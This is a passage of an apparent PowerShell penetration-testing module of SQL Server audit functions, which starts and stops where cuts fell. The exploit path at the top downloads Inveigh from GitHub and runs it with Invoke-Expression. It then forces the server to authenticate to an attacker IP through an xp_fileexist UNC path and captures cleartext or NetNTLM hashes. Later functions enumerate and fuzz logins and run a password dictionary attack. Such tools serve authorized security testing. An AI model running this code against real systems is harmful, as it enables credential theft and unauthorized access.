                            #$InveighSrc = Get-Content .\scripts\Inveigh.ps1 -ErrorAction SilentlyContinue
                            #Invoke-Expression($InveighSrc)

                            # Attempt to load Inveigh via reflection
                            Invoke-Expression -Command (New-Object -TypeName system.net.webclient).downloadstring('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Scripts/Inveigh.ps1')

                            $TestIt = Test-Path -Path Function:\Invoke-Inveigh
                            if($TestIt -eq 'True')
                            {
                                Write-Verbose -Message "$Instance : - Inveigh loaded." 

                                # Get IP of SQL Server instance
                                $InstanceIP = Resolve-DnsName $ComputerName | Select-Object -Property IPaddress -ExpandProperty ipaddress 
                                
                                # Start sniffing for hashes from that IP
                                Write-Verbose -Message "$Instance : - Start sniffing..." 
                                Invoke-Inveigh -HTTP N -NBNS Y -MachineAccounts Y -WarningAction SilentlyContinue -IP $AttackerIp | Out-Null

                                # Sent unc path to attacker's Ip
                                Write-Verbose -Message "$Instance : - Inject UNC path to \\$AttackerIp\path..."
                                Get-SQLQuery -Instance $Instance -Username $Username -Password $Password -Credential $Credential -Query "xp_fileexist '\\$AttackerIp\file'" -TimeOut 10 -SuppressVerbose | Out-Null                               
                                
                                # Stop sniffing and print password hashes
                                Start-Sleep $TimeOut
                                Stop-Inveigh | Out-Null
                                Write-Verbose -Message "$Instance : - Stopped sniffing." 
                                
                                $HashType = ''
                                $Hash = ''

                                [string]$PassCleartext = Get-InveighCleartext 
                                if($PassCleartext)
                                {
                                    $HashType = 'Cleartext'
                                    $Hash = $PassCleartext
                                }

                                [string]$PassNetNTLMv1 = Get-InveighNTLMv1
                                if($PassNetNTLMv1)
                                {
                                    $HashType = 'NetNTLMv1'
                                    $Hash = $PassNetNTLMv1
                                }

                                [string]$PassNetNTLMv2 = Get-InveighNTLMv2
                                if($PassNetNTLMv2)
                                {
                                    $HashType = 'NetNTLMv2'
                                    $Hash = $PassNetNTLMv2
                                }                                                                       
                                
                                if($Hash)
                                {
                                    # Update Status
                                    Write-Verbose -Message "$Instance : - Recovered $HashType hash:" 
                                    Write-Verbose -Message "$Instance : - $Hash"
                                    $Exploited = 'Yes'
                                    $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database. Recovered password hash! Hash type = $HashType;Hash = $Hash" 
                                }
                                else
                                {
                                    # Update Status
                                    $Exploited = 'No'
                                    $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database. xp_fileexist Executed, but no password hash was recovered."   
                                }        
                                
                                # Clear inveigh cache
                                $null = Clear-Inveigh                                          
                            }
                            else
                            {
                                Write-Verbose -Message "$Instance : - Inveigh could not be loaded." 
                                # Update status
                                $Exploited = 'No'
                                $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database, but Inveigh could not be loaded so no password hashes could be recovered." 
                            }
                        }
                        else
                        {
                            # Update status
                            $Exploited = 'No'
                            $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database."                            
                        }
                    }
                    else
                    {
                        # Update status
                        $IsExploitable  = 'No' 
                        $Details = "The $PrincipalName principal has EXECUTE privileges on xp_fileexist procedure in the master database."  
                    }
                }

                # Add record
                $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
            }
        }
        else
        {
            Write-Verbose -Message "$Instance : - No logins were found with the EXECUTE privilege on xp_fileexist."
        }                       
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - xp_fileexist" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditPrivDbChaining
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivDbChaining
{
    <#
            .SYNOPSIS
            Check if data ownership chaining is enabled at the server or databases levels.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoDefaults
            Don't return information for default databases.
            .PARAMETER NoOutput
            Don't return output.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Invoke-SQLAuditPrivDbChaining -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : NETSPI-283-SSU
            Instance : NETSPI-283-SSU\STANDARDDEV2014
            Vulnerability : Excessive Privilege - Database Ownership Chaining
            Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can lead to unauthorized access to database resources.
            Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used
            enable chaining. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
            Severity : Low
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : There is not exploit available at this time.
            Details : The database testdb was found configured with ownership chaining enabled.
            Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/library/bb669059(v=vs.110).aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain | Invoke-SQLAuditPrivDbChaining -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select non default databases.')]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [switch]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $CurrentLogin = $ServerInfo.CurrentLogin
        $ComputerName = $ServerInfo.ComputerName

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Excessive Privilege - Database Ownership Chaining'
        $Description   = 'Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can lead to unauthorized access to database resources.'
        $Remediation   = "Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining."
        $Severity      = 'Low' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'There is not exploit available at this time.'
        $Details       = ''   
        $Reference     = 'https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/library/bb669059(v=vs.110).aspx '       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Select links configured with static credentials
        
        if($NoDefaults)
        {
            $ChainDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -NoDefaults -SuppressVerbose | Where-Object -FilterScript {
                $_.is_db_chaining_on -eq 'True'
            }
        }
        else
        {
            $ChainDatabases = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
                $_.is_db_chaining_on -eq 'True'
            }
        }

        # Update vulnerable status
        if($ChainDatabases)
        {
            $IsVulnerable  = 'Yes'             
            $ChainDatabases | 
            ForEach-Object -Process {                
                $DatabaseName = $_.DatabaseName                
        
                Write-Verbose -Message "$Instance : - The database $DatabaseName was found configured as trustworthy."
                $Details = "The database $DatabaseName was found configured with ownership chaining enabled."
                $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
            }
        }
        else
        {
            Write-Verbose -Message "$Instance : - No non-default databases were found with ownership chaining enabled."
        }

        # Check for server wide setting
        $ServerCheck = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Name -like '*chain*' -and $_.config_value -eq 1
        }
        if($ServerCheck)
        {
            $IsVulnerable  = 'Yes' 
            Write-Verbose -Message "$Instance : - The server configuration 'cross db ownership chaining' is set to 1. This can affect all databases."
            $Details = "The server configuration 'cross db ownership chaining' is set to 1. This can affect all databases."
            $null = $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author)                                                                                       
        }

        # -----------------------------------------------------------------
        # Check for exploit dependancies
        # Note: Typically secondary configs required for dba/os execution
        # -----------------------------------------------------------------
        # $IsExploitable = "No" or $IsExploitable = "Yes"
        # Check if the link is alive and verify connection + check if sysadmin


        # -----------------------------------------------------------------
        # Exploit Vulnerability
        # Note: Add the current user to sysadmin fixed server role
        # -----------------------------------------------------------------
        # $Exploited = "No" or $Exploited = "Yes"
        # select * from openquery("server\intance",'EXEC xp_cmdshell whoami WITH RESULT SETS ((output VARCHAR(MAX)))')
        # Also, recommend link crawler module
                       
                   
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditPrivCreateProcedure
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditPrivCreateProcedure 
{
    <#
            .SYNOPSIS
            Check if the current login has the CREATE PROCEDURE permission. Attempt to leverage to obtain sysadmin privileges.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoOutput
            Don't output anything.
            .PARAMETER Exploit
            Exploit vulnerable issues
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditPrivCreateProcedure -Username evil -Password Password123!
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : PERMISSION - CREATE PROCEDURE
            Description : The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.
            Remediation : If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a
            command like: REVOKE CREATE PROCEDURE TO user.
            Severity : Medium
            IsVulnerable : Yes
            IsExploitable : No
            Exploited : No
            ExploitCmd : No exploit is currently available that will allow evil to become a sysadmin.
            Details : The evil principal has the CREATE PROCEDURE permission in the testdb database.
            Reference : https://msdn.microsoft.com/en-us/library/ms187926.aspx?f=255&MSPPError=-2147217396
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,       

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [string]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED"
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE"           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS"
        }

        # Grab server, login, and role information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $ComputerName = $ServerInfo.ComputerName                
        $CurrentLogin = $ServerInfo.CurrentLogin        
        $CurrentLoginRoles = Get-SQLServerRoleMember -Instance $Instance  -Username $Username -Password $Password -Credential $Credential -PrincipalName $CurrentLogin -SuppressVerbose              
        $CurrentPrincpalList = @()
        $CurrentPrincpalList += $CurrentLogin
        $CurrentPrincpalList += 'Public'
        $CurrentLoginRoles | 
        ForEach-Object -Process {
            $CurrentPrincpalList += $_.RolePrincipalName
        }        
        
        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }       
        $Vulnerability = 'PERMISSION - CREATE PROCEDURE'
        $Description   = 'The login has privileges to create stored procedures in one or more databases. This may allow the login to escalate privileges within the database.'
        $Remediation   = 'If the permission is not required remove it. Permissions are granted with a command like: GRANT CREATE PROCEDURE TO user, and can be removed with a command like: REVOKE CREATE PROCEDURE TO user'
        $Severity      = 'Medium' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = "No exploit is currently available that will allow $CurrentLogin to become a sysadmin."
        $Details       = ''   
        $Dependancies = ''
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms187926.aspx?f=255&MSPPError=-2147217396'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------

        # Get all CREATE PROCEDURE grant permissions for all accessible databases
        $Permissions = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -HasAccess -SuppressVerbose | Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PermissionName 'CREATE PROCEDURE'
        
        if($Permissions)
        {
            # Iterate through each current login and their associated roles
            $CurrentPrincpalList|
            ForEach-Object -Process {
                # Check if they have the CREATE PROCEDURE grant
                $CurrentPrincipal = $_
                $Permissions | 
                ForEach-Object -Process {
                    $AffectedPrincipal = $_.PrincipalName
                    $AffectedDatabase = $_.DatabaseName
                
                    if($AffectedPrincipal -eq $CurrentPrincipal)
                    {
                        # Set flag to vulnerable
                        $IsVulnerable  = 'Yes'
                        Write-Verbose -Message "$Instance : - The $AffectedPrincipal principal has the CREATE PROCEDURE permission in the $AffectedDatabase database."
                        $Details = "The $AffectedPrincipal principal has the CREATE PROCEDURE permission in the $AffectedDatabase database."

                        # -----------------------------------------------------------------
                        # Check for exploit dependancies
                        # Note: Typically secondary configs required for dba/os execution
                        # -----------------------------------------------------------------
                        $HasAlterSchema = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -PermissionName 'ALTER' -PermissionType 'SCHEMA' -PrincipalName $CurrentPrincipal -DatabaseName $AffectedDatabase  -SuppressVerbose                                              
                        if($HasAlterSchema)
                        {
                            $IsExploitable = 'Yes'  
                            $Dependancies = " $CurrentPrincipal also has ALTER SCHEMA permissions so procedures can be created." 
                            Write-Verbose -Message "$Instance : - Dependancies were met: $CurrentPrincipal has ALTER SCHEMA permissions."

                            # Add to report example
                            $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, "$Details$Dependancies", $Reference, $Author) | Out-Null                                            
                        }
                        else
                        {                            
                            $IsExploitable = 'No'
                            
                            # Add to report example
                            $TblData.Rows.Add($ComputerName, $Instance, $Vulnerability, $Description, $Remediation, $Severity, $IsVulnerable, $IsExploitable, $Exploited, $ExploitCmd, $Details, $Reference, $Author) | Out-Null                                                                   
                        }                                       

                        # -----------------------------------------------------------------
                        # Exploit Vulnerability
                        # Note: Add the current user to sysadmin fixed server role
                        # -----------------------------------------------------------------
                        
                        if($Exploit -and $IsExploitable -eq 'Yes')
                        {
                            Write-Verbose -Message "$Instance : - No server escalation method is available at this time."
                        }
                    }         
                }
            }                     
        }
        else
        {
            # Status user
            Write-Verbose -Message "$Instance : - The current login doesn't have the CREATE PROCEDURE permission in any databases."
        }              
                                                    
        # Status User
        Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE" 
    }

    End
    {   
        # Return data
        if ( -not $NoOutput)
        {
            Return $TblData
        }
    }
}


# ---------------------------------------
# Invoke-SQLAuditWeakLoginPw
# ---------------------------------------
# Author: Scott Sutherland
Function Invoke-SQLAuditWeakLoginPw
{
    <#
            .SYNOPSIS
            Check if the current login has the db_owner role in any databases.
            .PARAMETER Username
            Known SQL Server login to obtain a list of logins with for testing.
            .PARAMETER TestUsername
            SQL Server or domain account to authenticate with.
            .PARAMETER UserFile
            Path to list of users to use. One per line.
            .PARAMETER Password
            Known SQL Server login password to obtain a list of logins with for testing.
            .PARAMETER TestPassword
            Password to test provided or discovered logins with.
            .PARAMETER PassFile
            Path to list of password to use. One per line.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER NoUserAsPass
            Don't try to login using the login name as the password.
            .PARAMETER NoUserEnum
            Don't try to enumerate logins to test.
            .PARAMETER StartId
            Start id for fuzzing login IDs when authenticating as a least privilege login.
            .PARAMETER EndId
            End id for fuzzing login IDs when authenticating as a least privilege login.
            .PARAMETER Exploit
            Exploit vulnerable issues.
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            Vulnerability : Weak Login Password
            Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
            Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
            Details : The testuser (Not Sysadmin) is configured with the password testuser.
            Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
 
            ComputerName : SQLServer1
            Instance : SQLServer1\Express
            Vulnerability : Weak Login Password
            Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
            Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
            Severity : High
            IsVulnerable : Yes
            IsExploitable : Yes
            Exploited : No
            ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
            Details : The testadmin (Sysadmin) is configured with the password testadmin.
            Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
            Author : Scott Sutherland (@_nullbind), NetSPI 2016
            .EXAMPLE
            PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Known SQL Server login to fuzz logins with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Username to test.')]
        [string]$TestUsername = 'sa',

        [Parameter(Mandatory = $false,
        HelpMessage = 'Path to list of users to use. One per line.')]
        [string]$UserFile,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Known SQL Server password to fuzz logins with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server password to attempt to login with.')]
        [string]$TestPassword = 'password',

        [Parameter(Mandatory = $false,
        HelpMessage = 'Path to list of passwords to use. One per line.')]
        [string]$PassFile,

        [Parameter(Mandatory = $false,
        HelpMessage = 'User is tested as pass by default. This setting disables it.')]
        [switch]$NoUserAsPass,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance, 
        
        [Parameter(Mandatory = $false,
        HelpMessage = "Don't attempt to enumerate logins from the server.")]
        [switch]$NoUserEnum,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Start id for fuzzing login IDs.')]
        [int]$StartId = 1,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'End id for fuzzing login IDss.')]
        [int]$EndId = 500,                                   

        [Parameter(Mandatory = $false,
        HelpMessage = "Don't output anything.")]
        [switch]$NoOutput,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Exploit vulnerable issues.')]
        [switch]$Exploit
    )

    Begin
    {                 
        # Table for output
        $TblData = New-Object -TypeName System.Data.DataTable 
        $null = $TblData.Columns.Add('ComputerName')
        $null = $TblData.Columns.Add('Instance')
        $null = $TblData.Columns.Add('Vulnerability')
        $null = $TblData.Columns.Add('Description')
        $null = $TblData.Columns.Add('Remediation')
        $null = $TblData.Columns.Add('Severity')
        $null = $TblData.Columns.Add('IsVulnerable')
        $null = $TblData.Columns.Add('IsExploitable')
        $null = $TblData.Columns.Add('Exploited')
        $null = $TblData.Columns.Add('ExploitCmd')
        $null = $TblData.Columns.Add('Details')    
        $null = $TblData.Columns.Add('Reference')   
        $null = $TblData.Columns.Add('Author')   
    }

    Process
    {   
        # Status User
        Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password" 

        # Test connection to server
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if(-not $TestConnection)
        {
            # Status user
            Write-Verbose -Message "$Instance : CONNECTION FAILED."
            Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password."           
            Return
        }
        else
        {
            Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $CurrentLogin = $ServerInfo.CurrentLogin
        $ComputerName = $ServerInfo.ComputerName
        $CurrentUSerSysadmin = $ServerInfo.IsSysadmin        

        # --------------------------------------------
        # Set function meta data for report output
        # --------------------------------------------
        if($Exploit)
        {
            $TestMode  = 'Exploit'
        }
        else
        {
            $TestMode  = 'Audit'
        }         
        $Vulnerability = 'Weak Login Password'
        $Description   = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.'
        $Remediation   = 'Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.'
        $Severity      = 'High' 
        $IsVulnerable  = 'No'
        $IsExploitable = 'No' 
        $Exploited     = 'No'
        $ExploitCmd    = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.'
        $Details       = ''   
        $Reference     = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx'       
        $Author        = 'Scott Sutherland (@_nullbind), NetSPI 2016' 
        
        # -----------------------------------------------------------------
        # Check for the Vulnerability
        # Note: Typically a missing patch or weak configuration
        # -----------------------------------------------------------------
        
        # Create empty user / password lists
        $LoginList = @()
        $PasswordList = @()

        # Get logins for testing - file
        if($UserFile)
        {
            Write-Verbose -Message "$Instance - Getting logins from file..."
            Get-Content -Path $UserFile | 
            ForEach-Object -Process {
                $LoginList += $_
            }
        }

        # Get logins for testing - variable
        if($TestUsername)
        {
            Write-Verbose -Message "$Instance - Getting supplied login..."
            $LoginList += $TestUsername
        }
        
        # Get logins for testing - fuzzed
        if(-not $NoUserEnum)
        {
            # Test connection to instance
            $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
                $_.Status -eq 'Accessible'
            }
            if($TestConnection)
            {
                # Check if sysadmin
                $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin               
                if($IsSysadmin -eq 'Yes')
                {
                    # Query for logins
                    Write-Verbose -Message "$Instance - Getting list of logins..."
                    Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | 
                    Where-Object -FilterScript {
                        $_.PrincipalType -eq 'SQL_LOGIN'
                    } |
                    Select-Object -Property PrincipalName -ExpandProperty PrincipalName | 
                    ForEach-Object -Process {
                        $LoginList += $_
                    } 
                }
                else
                {
                    # Fuzz logins
                    Write-Verbose -Message "$Instance - Fuzzing principal IDs $StartId to $EndId..."
                    Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -StartId $StartId -EndId $EndId -SuppressVerbose | 
                    Where-Object -FilterScript {
                        $_.PrincipleType -eq 'SQL Login'
                    } | 
                    Select-Object -Property PrincipleName -ExpandProperty PrincipleName | 
                    ForEach-Object -Process {
                        $LoginList += $_
                    }  
                }              
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials."
                }
                return
            }                        
        }

        # Check for users or return - count array
        if($LoginList.count -eq 0 -and (-not $FuzzLogins))
        {
            Write-Verbose -Message "$Instance - No logins have been provided."
            return
        }

        # Get passwords for testing - file
        if($PassFile)
        {
            Write-Verbose -Message "$Instance - Getting password from file..."
            Get-Content -Path $PassFile | 
            ForEach-Object -Process {
                $PasswordList += $_
            }
        }

        # Get passwords for testing - variable
        if($TestPassword)
        {
            Write-Verbose -Message "$Instance - Getting supplied password..."
            $PasswordList += $TestPassword
        }

        # Check for provided passwords
        if($PasswordList.count -eq 0 -and (-not $UserAsPass))
        {
            Write-Verbose -Message "$Instance - No password have been provided."
            return
        }

        # Iternate through logins and perform dictionary attack
        Write-Verbose -Message "$Instance - Performing dictionary attack..."
        $LoginList |
        Select-Object -Unique | 
        ForEach-Object -Process {
            $TargetLogin = $_
            $PasswordList |
            Select-Object -Unique |
